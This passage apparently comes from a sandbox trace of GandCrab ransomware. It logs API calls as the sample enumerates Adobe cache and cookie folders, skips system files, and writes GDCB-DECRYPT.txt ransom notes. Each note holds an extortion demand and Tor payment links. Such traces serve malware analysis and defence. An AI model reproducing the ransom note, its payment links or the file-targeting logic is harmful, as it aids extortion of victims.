locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.815] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0169.815] CloseHandle (hObject=0x4f8) returned 1 [0169.816] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.816] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 90 [0169.816] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.816] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0169.816] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.816] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.816] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.816] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.816] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.816] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.816] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.817] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.817] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.817] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 96 [0169.817] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 96 [0169.817] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.817] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.817] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.817] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.817] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.817] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.817] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 96 [0169.817] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 96 [0169.817] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.818] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.818] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.818] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.818] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.818] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.818] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 96 [0169.818] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 96 [0169.818] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.819] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.819] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.819] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.819] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.819] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.819] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 96 [0169.819] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 96 [0169.819] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.819] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.819] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.819] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.819] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.819] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.820] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 106 [0169.820] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 106 [0169.820] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 106 [0169.820] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 106 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.820] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.820] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.820] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.820] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.820] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.820] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.820] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.820] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 95 [0169.820] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 95 [0169.820] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.821] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.821] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.821] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.821] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.821] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.821] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.821] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.821] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 100 [0169.821] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 100 [0169.821] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 100 [0169.821] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 100 [0169.821] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.822] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.822] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.822] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.822] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.822] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.822] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.822] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.822] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 97 [0169.822] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 97 [0169.822] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.822] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.822] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.823] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.823] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.823] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.823] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.823] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0169.823] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.823] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.823] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 85 [0169.823] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.823] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a49d8 [0169.823] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.823] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.823] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.823] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.823] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.823] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.823] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.823] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.823] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 92 [0169.823] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.823] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.823] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.823] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.824] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 100 [0169.824] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.824] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.824] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.824] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 102 [0169.824] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0169.825] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.825] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0169.825] CloseHandle (hObject=0x4f4) returned 1 [0169.825] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.826] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 85 [0169.826] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.826] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4d18 [0169.826] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.826] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.826] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.826] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.826] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.826] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.826] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.826] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.826] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.826] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 92 [0169.826] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 92 [0169.826] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.826] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.826] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.826] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.826] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.826] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.827] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 100 [0169.827] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 